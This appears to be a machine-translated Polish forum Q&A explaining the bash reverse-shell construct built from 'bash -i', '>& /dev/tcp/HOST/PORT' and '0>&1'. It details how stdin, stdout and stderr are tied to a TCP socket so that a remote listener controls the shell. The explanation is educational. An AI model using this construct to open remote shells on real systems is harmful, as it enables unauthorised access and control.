Odpowiedzi:
Ten fragment kodu uruchamia nową interaktywną instancję bash ( bash -i) na połączeniu TCP z określonym portem na określonym hoście, który jest tworzony na czas trwania procesu bash. Standardowe dane wyjściowe i standardowy błąd są wysyłane przez to połączenie ( >& /dev/tcp/HOST/PORT), a standardowe dane wejściowe są odczytywane przez to połączenie ( 0>&1- powinno być, 0<&1ale 0>&1też działa).
Nie odbywa się przekierowanie portów. Oczywiście, jakiś serwer TCP musi nasłuchiwać i akceptować połączenia na tym HOST: PORT, a zapora ogniowa musi przepuścić połączenie.
/dev/tcp/HOST/PORT? Zakładałem, że zastąpiłeś imię HOSTi numer przez PORT. W przeciwnym razie otrzymasz komunikat o błędzie z bash. Ponieważ nie wspomniałeś o żadnym komunikacie o błędzie, zakładam, że go nie widziałeś.
0<&1części. Przeczytałem go jako „weź bash stdout ( &1) i potokuj go do bash stdin ( 0)”, co ma sens. Czy możesz wyjaśnić, jak działa ta część?
0<&1oznacza połączenie tego, co jest aktualnie otwarte w deskryptorze pliku 1, z deskryptorem pliku 0. Ponieważ poprzednie przekierowanie >& /dev/tcp/HOST/PORTpołączyło fd 1 (domyślnie dla przekierowania wyjściowego) z /dev/tcp/HOST/PORT, tj. otworzyło gniazdo TCP, duplikuje połączenie TCP do deskryptora pliku 0 (tj. to samo gniazdo jest teraz otwarte również na fd 0, różni się to od 0 </ dev / tcp / HOST / PORT, który otworzyłby inne gniazdo dla tego samego serwera).